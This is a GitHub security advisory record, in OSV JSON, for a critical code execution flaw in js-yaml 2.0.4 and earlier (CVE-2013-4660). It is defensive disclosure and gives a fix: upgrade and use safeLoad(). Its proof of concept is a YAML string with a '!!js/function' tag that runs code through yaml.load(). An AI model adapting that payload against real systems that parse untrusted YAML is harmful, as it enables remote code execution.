{"id":"GHSA-xxvw-45rp-3mj2","summary":"Deserialization Code Execution in js-yaml","details":"Versions 2.0.4 and earlier of `js-yaml` are affected by a code execution vulnerability in the YAML deserializer.\n\n## Proof of Concept\n```\nconst yaml = require('js-yaml');\n\nconst x = `test: !!js/function \u003e\nfunction f() { \nconsole.log(1); \n}();`\n\nyaml.load(x);\n```\n\n\n## Recommendation\n\nUpdate js-yaml to version 2.0.5 or later, and ensure that all instances where the `.load()` method is called are updated to use `.safeLoad()` instead.","aliases":["CVE-2013-4660"],"modified":"2023-11-08T03:57:24.142876Z","published":"2017-10-24T18:33:37Z","database_specific":{"nvd_published_at":null,"github_reviewed_at":"2020-06-16T22:05:02Z","severity":"CRITICAL","github_reviewed":true,"cwe_ids":["CWE-20"]},"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2013-4660"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-xxvw-45rp-3mj2"},{"type":"WEB","url":"https://nealpoole.com/blog/2013/06/code-execution-via-yaml-in-js-yaml-nodejs-module"},{"type":"WEB","url":"https://www.npmjs.com/advisories/16"}],"affected":[{"package":{"name":"js-yaml","ecosystem":"npm","purl":"pkg:npm/js-yaml"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.0.5"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2017/10/GHSA-xxvw-45rp-3mj2/GHSA-xxvw-45rp-3mj2.json"}}],"schema_version":"1.7.3"}